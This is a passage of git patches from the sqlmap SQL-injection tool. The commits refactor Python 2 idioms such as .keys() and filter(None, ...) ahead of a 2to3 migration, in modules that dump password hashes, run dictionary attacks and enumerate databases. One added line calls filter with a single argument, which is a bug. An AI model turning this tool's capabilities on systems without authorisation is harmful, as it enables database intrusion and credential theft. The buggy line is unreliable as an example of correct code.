+4174fad6be204761db349032341b7582 thirdparty/odict/odict.py +0105f1734f326704d2d68839084ca661 thirdparty/oset/_abc.py 54a861de0f08bb80c2e8846579ec83bd thirdparty/oset/__init__.py -179f0c584ef3fb39437bdb6e15d9c867 thirdparty/oset/pyoset.py +6c79e6d14e031beebe6de127b53c7c93 thirdparty/oset/pyoset.py 94a4abc0fdac64ef0661b82aff68d791 thirdparty/prettyprint/__init__.py ff80a22ee858f5331b0c088efa98b3ff thirdparty/prettyprint/prettyprint.py 5c70f8e5f7353aedc6d8d21d4fb72b37 thirdparty/pydes/__init__.py @@ -371,7 +371,7 @@ d97198005a387a9d23916c616620ef7f thirdparty/termcolor/termcolor.py bf55909ad163b58236e44b86e8441b26 thirdparty/wininetpton/__init__.py a44e7cf30f2189b2fbdb635b310cdc0c thirdparty/wininetpton/win_inet_pton.py 855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py -593473084228b63a12318d812e50f1e2 thirdparty/xdot/xdot.py +fb6c71a25d5a93bf20ab99fe4e31e0dd thirdparty/xdot/xdot.py 08c706478fad0acba049d0e32cbb6411 udf/mysql/linux/32/lib_mysqludf_sys.so_ 1501fa7150239b18acc0f4a9db2ebc0d udf/mysql/linux/64/lib_mysqludf_sys.so_ 70d83edb90c4a20bd95eb62f71c99bd0 udf/mysql/windows/32/lib_mysqludf_sys.dll_ From 8f13bda035c68d49df623a4d5711a2a73facb030 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 03:00:44 +0100 Subject: [PATCH 067/800] Some more preparing for 2to3 (keys() is iter in 3) --- lib/controller/checks.py | 2 +- lib/controller/controller.py | 6 +++--- lib/core/common.py | 12 ++++++------ lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/parse/handler.py | 2 +- lib/request/basic.py | 2 +- lib/request/connect.py | 4 ++-- lib/utils/api.py | 2 +- lib/utils/hash.py | 4 ++-- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 4 ++-- plugins/generic/search.py | 4 ++-- txt/checksum.md5 | 26 +++++++++++++------------- 14 files changed, 37 insertions(+), 37 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 672de3e1488..a8343a214a4 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -615,7 +615,7 @@ def genCmpPayload(): page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) - output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 6719130bd5d..af7a17a8f06 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -90,7 +90,7 @@ def _selectInjection(): if point not in points: points[point] = injection else: - for key in points[point].keys(): + for key in points[point]: if key != 'data': points[point][key] = points[point][key] or injection[key] points[point]['data'].update(injection['data']) @@ -244,7 +244,7 @@ def _saveToResultsFile(): if key not in results: results[key] = [] - results[key].extend(injection.data.keys()) + results[key].extend(list(injection.data.keys())) try: for key, value in results.items(): @@ -427,7 +427,7 @@ def start(): checkStability() # Do a little prioritization reorder of a testable parameter list - parameters = conf.parameters.keys() + parameters = list(conf.parameters.keys()) # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) diff --git a/lib/core/common.py b/lib/core/common.py index 321a34a52a4..e435f847cfd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -688,7 +688,7 @@ def walk(head, current=None): debugMsg += "is not inside the %s" % place logger.debug(debugMsg) - elif len(conf.testParameter) != len(testableParameters.keys()): + elif len(conf.testParameter) != len(testableParameters): for parameter in conf.testParameter: if parameter not in testableParameters: debugMsg = "provided parameter '%s' " % parameter @@ -1560,7 +1560,7 @@ def expandAsteriskForColumns(expression): columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: - columns = columnsDict[conf.db][conf.tbl].keys() + columns = list(columnsDict[conf.db][conf.tbl].keys()) columns.sort() columnsStr = ", ".join(column for column in columns) expression = expression.replace('*', columnsStr, 1) @@ -2064,7 +2064,7 @@ def getSQLSnippet(dbms, sfile, **variables): retVal = re.sub(r"#.+", "", retVal) retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") - for _ in variables.keys(): + for _ in variables: retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): @@ -2223,7 +2223,7 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) - return retVal if not unique else retVal.keys() + return retVal if not unique else list(retVal.keys()) def goGoodSamaritan(prevValue, originalCharset): """ @@ -3056,7 +3056,7 @@ def saveConfig(conf, filename): config = UnicodeRawConfigParser() userOpts = {} - for family in optDict.keys(): + for family in optDict: userOpts[family] = [] for option, value in conf.items(): @@ -3795,7 +3795,7 @@ def __init__(self): logger.debug(debugMsg) else: found = sorted(options.keys(), key=lambda x: len(x))[0] - warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) + warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warn(warnMsg) diff --git a/lib/core/option.py b/lib/core/option.py index 92c0808d9c4..80865360ee5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1640,7 +1640,7 @@ class _(unicode): map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) if conf.noCast: - for _ in DUMP_REPLACEMENTS.keys(): + for _ in list(DUMP_REPLACEMENTS.keys()): del DUMP_REPLACEMENTS[_] if conf.dumpFormat: diff --git a/lib/core/settings.py b/lib/core/settings.py index abd9c220298..315c95a7755 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.65" +VERSION = "1.3.1.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/handler.py b/lib/parse/handler.py index b69df9e8175..ed03812bbe2 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -35,7 +35,7 @@ def _feedInfo(self, key, value): if key == "dbmsVersion": self._info[key] = value else: - if key not in self._info.keys(): + if key not in self._info: self._info[key] = set() for _ in value.split("|"): diff --git a/lib/request/basic.py b/lib/request/basic.py index acdd29f106b..40fdd57d051 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -57,7 +57,7 @@ def forgeHeaders(items=None, base=None): items = items or {} - for _ in items.keys(): + for _ in list(items.keys()): if items[_] is None: del items[_] diff --git a/lib/request/connect.py b/lib/request/connect.py index c8538b4c446..8ea22e11ac8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -817,7 +817,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) - contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) + contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers) if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: postUrlEncode = False @@ -1125,7 +1125,7 @@ def _randomizeParameter(paramString, randomParameter): originals.update(variables) evaluateCode(conf.evalCode, variables) - for variable in variables.keys(): + for variable in list(variables.keys()): if variable.endswith(EVALCODE_KEYWORD_SUFFIX): value = variables[variable] del variables[variable] diff --git a/lib/utils/api.py b/lib/utils/api.py index fd8ce85dffc..ae971efe7fb 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -699,7 +699,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST except ImportError: if adapter.lower() not in server_names: errMsg = "Adapter '%s' is unknown. " % adapter - errMsg += "List of supported adapters: %s" % ', '.join(sorted(server_names.keys())) + errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 9871fd9b09f..2117e85b31b 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -601,7 +601,7 @@ def attackCachedUsersPasswords(): for (_, hash_, password) in results: lut[hash_.lower()] = password - for user in kb.data.cachedUsersPasswords.keys(): + for user in kb.data.cachedUsersPasswords: for i in xrange(len(kb.data.cachedUsersPasswords[user])): if (kb.data.cachedUsersPasswords[user][i] or "").strip(): value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] @@ -611,7 +611,7 @@ def attackCachedUsersPasswords(): def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable - columns = table.keys() + columns = list(table.keys()) count = table["__infos__"]["count"] if not count: diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index e126e65fc3c..b283642c97b 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -415,7 +415,7 @@ def getTables(self, bruteForce=None): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: - for db in kb.data.cachedTables.keys(): + for db in kb.data.cachedTables: kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 5c51c06a123..3e1052a3a36 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -517,7 +517,7 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): choice = readInput(message, default='a') if not choice or choice in ('a', 'A'): - dumpFromDbs = dbs.keys() + dumpFromDbs = list(dbs.keys()) elif choice in ('q', 'Q'): return else: @@ -584,7 +584,7 @@ def dumpFoundTables(self, tables): choice = readInput(message, default='a') if not choice or choice.lower() == 'a': - dumpFromDbs = tables.keys() + dumpFromDbs = list(tables.keys()) elif choice.lower() == 'q': return else: diff --git a/plugins/generic/search.py b/plugins/generic/search.py index b9a5aaddcae..b21957bb028 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -273,7 +273,7 @@ def searchTable(self): dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] - for db in foundTbls.keys(): + for db in foundTbls: db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" @@ -326,7 +326,7 @@ def searchTable(self): foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) - for db in foundTbls.keys(): + for db in list(foundTbls.keys()): if isNoneValue(foundTbls[db]): del foundTbls[db] diff --git a/txt/checksum.md5 b/txt/checksum.md5 index ce53052b88d..f3ffd768637 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -23,13 +23,13 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py -d099724a49c5fd6b0dca8c777e82604e lib/controller/checks.py -c4d559a98cfc62b401ef7e0bfab782f0 lib/controller/controller.py +11132dd6114b3f76922bb36cff16eceb lib/controller/checks.py +b37a93767459162b30798bd9732a12a3 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -39860dfb1d1afa51b7ed9d4ddfdb82cd lib/core/common.py +2cb5d057cbb1f333dfd42b8c7262d404 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py @@ -42,14 +42,14 @@ fd5403505f76eee6829c06b9342e269c lib/core/dump.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -bf83a5194e5490273a64a35ae5eacf69 lib/core/option.py +bdb5a0e1f40d9c4d43593e25c8c58ec6 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4cfda3735871cd59b213470a0bbc8c3a lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -931c1e5b6236016d536eb6f70a4a669e lib/core/settings.py +ae2061c30dfddcc64719a2ed8f41bd09 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -62,16 +62,16 @@ fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py 87a1d50411e74cd0afb2d1bed30f59d4 lib/parse/cmdline.py 06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py -9b33e52f697d6e915c7a10153562ce89 lib/parse/handler.py +d34df646508c2dceb25205e1316673d1 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py 77e802323ffa718dd9c27512656c0a70 lib/parse/html.py fb6be55d21a70765e35549af2484f762 lib/parse/__init__.py adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py 993104046c7d97120613409ef7780c76 lib/parse/sitemap.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py -88881f162a82325389c68a635723889b lib/request/basic.py +97b7577fdfe3d8537fe9ea3a070d0507 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -2192d65f4a8ba15c081e12590b6e517f lib/request/connect.py +5a1226fc294dd7507be089b5622564d1 lib/request/connect.py 7cba86090b02558f04c6692cef66e772 lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py @@ -101,14 +101,14 @@ fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py 9d9a6148f10693aaab5fac1273d981d4 lib/techniques/union/test.py e141fb96f2a136bafd6bb2350f02d33b lib/techniques/union/use.py -78cd3133349e9cfdcc6b3512c7d5ce36 lib/utils/api.py +936e5cb1bc25c69f0716df1c2900f52a lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py b27421eb57cea711050135f84be99258 lib/utils/crawler.py da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py 0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py d11f7f208ccf3a7753ccc417b4b01901 lib/utils/hashdb.py -4bcee9dd3300aaad495e7f27f9fbccc0 lib/utils/hash.py +8fcdcf21cf037e0673d785489eb6806f lib/utils/hash.py 17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py 833b05c72c9fa60b0a25b0a26f8f31fb lib/utils/pivotdumptable.py @@ -213,14 +213,14 @@ ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py 312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py 1ea0b0e7aa15b7687e1b00845e33f9ab plugins/generic/custom.py -a3fd48c7094fca6692be8b1ae5e29cea plugins/generic/databases.py -9c2c830b3cf66953ecffa6cf88fc7c14 plugins/generic/entries.py +f0ee05d8c97dc2ca20b39512a1cc9f99 plugins/generic/databases.py +e1c9b3c9b14e71c06381dd6832119158 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py 65e75cd3c2c7acffa6ac13b086e0f383 plugins/generic/fingerprint.py fb6be55d21a70765e35549af2484f762 plugins/generic/__init__.py de1928d6865547764ae9a896da4bf1d4 plugins/generic/misc.py -8bc2b5dfbc4c644ed95adfe8099ee067 plugins/generic/search.py +c95bf3dec22cc638100efef99e2ccc3c plugins/generic/search.py 1989f6cbed217f4222dc2dce72992d91 plugins/generic/syntax.py 44c388ea08d4296e2bf2706e19cbe64a plugins/generic/takeover.py a4b9f764140e89279e3d0dace99bfa5f plugins/generic/users.py From a31ac0376de9eaf4d08f8b2d123b90d7d776f1cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 03:14:23 +0100 Subject: [PATCH 068/800] Minor refactoring related to last couple of commits --- lib/core/settings.py | 2 +- lib/utils/hash.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 6 +++--- plugins/dbms/sybase/enumeration.py | 2 +- plugins/generic/custom.py | 4 ++-- plugins/generic/databases.py | 6 +++--- plugins/generic/entries.py | 4 ++-- plugins/generic/users.py | 4 ++-- txt/checksum.md5 | 18 +++++++++--------- 10 files changed, 25 insertions(+), 25 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 315c95a7755..236e8017610 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.66" +VERSION = "1.3.1.67" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 2117e85b31b..ded67af3b8d 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -985,7 +985,7 @@ def dictionaryAttack(attack_dict): else: logger.info("using default dictionary") - dictPaths = filter(None, dictPaths) + dictPaths = [_ for _ in dictPaths if _] for dictPath in dictPaths: checkFile(dictPath) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index ccc09d04d25..bdfa96f5fd8 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -67,7 +67,7 @@ def getTables(self, bruteForce=None): else: dbs = self.getDbs() - for db in filter(None, dbs): + for db in (_ for _ in dbs if _): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index e8a57f9fa42..5deb83d91d5 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -83,7 +83,7 @@ def getTables(self): for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) + dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) @@ -110,7 +110,7 @@ def getTables(self): break if not isNoneValue(value): - value = filter(None, arrayizeValue(value)) + value = [_ for _ in arrayizeValue(value) if _] value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value @@ -340,7 +340,7 @@ def searchColumn(self): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) - for db in filter(None, dbs.keys()): + for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 872fc37db56..6010bd4c284 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -128,7 +128,7 @@ def getTables(self, bruteForce=None): for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) + dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 929fc2f9add..ebae7ab3e92 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -130,8 +130,8 @@ def sqlFile(self): snippet = getSQLSnippet(Backend.getDbms(), filename) - if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))): - for query in filter(None, snippet.split(';' if ';' in snippet else '\n')): + if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)): + for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _): query = query.strip() if query: conf.dumper.query(query, self.sqlQuery(query)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b283642c97b..adbe1ea2c11 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -179,7 +179,7 @@ def getDbs(self): kb.data.cachedDbs.sort() if kb.data.cachedDbs: - kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs)))) + kb.data.cachedDbs = [_ for _ in set(flattenValue(kb.data.cachedDbs)) if _] return kb.data.cachedDbs @@ -285,7 +285,7 @@ def getTables(self, bruteForce=None): values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - values = filter(None, arrayizeValue(values)) + values = [_ for _ in arrayizeValue(values) if _] if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] @@ -462,7 +462,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) - colList = filter(None, colList) + colList = [_ for _ in colList if _] if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 3e1052a3a36..f3dd5d6b327 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -139,7 +139,7 @@ def dumpTable(self, foundData=None): continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] - colList = sorted(filter(None, columns.keys())) + colList = sorted(column for column in columns if column) if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] @@ -553,7 +553,7 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): continue conf.tbl = table - colList = filter(None, sorted(columns)) + colList = filter(column for column in columns if column) if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 538b2b10a95..7779a083b78 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -171,7 +171,7 @@ def getPasswordHashes(self): else: users = [] - users = filter(None, users) + users = [_ for _ in users if _] if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): @@ -370,7 +370,7 @@ def getPrivileges(self, query2=False): else: users = [] - users = filter(None, users) + users = [_ for _ in users if _] # Set containing the list of DBMS administrators areAdmins = set() diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f3ffd768637..f13868f5315 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -ae2061c30dfddcc64719a2ed8f41bd09 lib/core/settings.py +d9ee29595bb4272fda11b3079753cdd6 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -108,7 +108,7 @@ da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py 0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py d11f7f208ccf3a7753ccc417b4b01901 lib/utils/hashdb.py -8fcdcf21cf037e0673d785489eb6806f lib/utils/hash.py +07412688758500c3b4e46ae7e28e9709 lib/utils/hash.py 17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py 833b05c72c9fa60b0a25b0a26f8f31fb lib/utils/pivotdumptable.py @@ -163,14 +163,14 @@ ed2bdb4eb574066521e88241a21f4bf7 plugins/dbms/informix/fingerprint.py fcbd61e7ac30eb4c8f09ffd341fa27bb plugins/dbms/informix/takeover.py fb6be55d21a70765e35549af2484f762 plugins/dbms/__init__.py ad0b369b6b81a427abede09784db91c5 plugins/dbms/maxdb/connector.py -ea186b97a394b61d82ecf7ed22b0cff6 plugins/dbms/maxdb/enumeration.py +c96d31697b0ea9b81a8ae19b00e220f5 plugins/dbms/maxdb/enumeration.py 7886148c3d6114d43aa1d78b0512fe12 plugins/dbms/maxdb/filesystem.py 691c86dc54cf3cc69b0f5a5ea5fe9a3c plugins/dbms/maxdb/fingerprint.py 8ad820fdfd2454363279eda7a9a08e6e plugins/dbms/maxdb/__init__.py 8fe248263926639acf41db3179db13d0 plugins/dbms/maxdb/syntax.py 479ce664674859d0e61c5221f9e835fd plugins/dbms/maxdb/takeover.py 6ef95017815eb5d2d0f5645a6f5c7a79 plugins/dbms/mssqlserver/connector.py -69bfc53a409e79511802f668439bf4be plugins/dbms/mssqlserver/enumeration.py +2f61dfdc00b780d015a8d3b8e9a23d8d plugins/dbms/mssqlserver/enumeration.py bb02bdf47c71ed93d28d20b98ea0f8c6 plugins/dbms/mssqlserver/filesystem.py bcabbf98e72bf3c6e971b56d8da60261 plugins/dbms/mssqlserver/fingerprint.py 6bffd484ef47111dd8a6e46e127ab5c7 plugins/dbms/mssqlserver/__init__.py @@ -205,16 +205,16 @@ fb018fd23dcebdb36dddd22ac92efa2c plugins/dbms/postgresql/__init__.py 1ca5b1d7c64686827e80988933c397fa plugins/dbms/sqlite/syntax.py 224835bf71e99bac6e50b689afac5122 plugins/dbms/sqlite/takeover.py 1f726d02ce4c709c0a3d327be947c72b plugins/dbms/sybase/connector.py -37a4e529dfb6bf3387c22e66cd9966f7 plugins/dbms/sybase/enumeration.py +ac1cef8f0d14be9ea71e6627e25a9c60 plugins/dbms/sybase/enumeration.py 9f16fb52a70e5fb01876f1bc5f5ef532 plugins/dbms/sybase/filesystem.py 69c104c5a2ff3e2c88a41205bb96d812 plugins/dbms/sybase/fingerprint.py 2fae8e5d100fc9fb70769e483c29e8fb plugins/dbms/sybase/__init__.py ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py 312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py -1ea0b0e7aa15b7687e1b00845e33f9ab plugins/generic/custom.py -f0ee05d8c97dc2ca20b39512a1cc9f99 plugins/generic/databases.py -e1c9b3c9b14e71c06381dd6832119158 plugins/generic/entries.py +d749b7f7b4bcf1f646290dec739f1e6d plugins/generic/custom.py +791db3be35714c9a2e55a7abe9127da4 plugins/generic/databases.py +8a70329d0bfc21cf89b7a46118d16d17 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py 65e75cd3c2c7acffa6ac13b086e0f383 plugins/generic/fingerprint.py @@ -223,7 +223,7 @@ de1928d6865547764ae9a896da4bf1d4 plugins/generic/misc.py c95bf3dec22cc638100efef99e2ccc3c plugins/generic/search.py 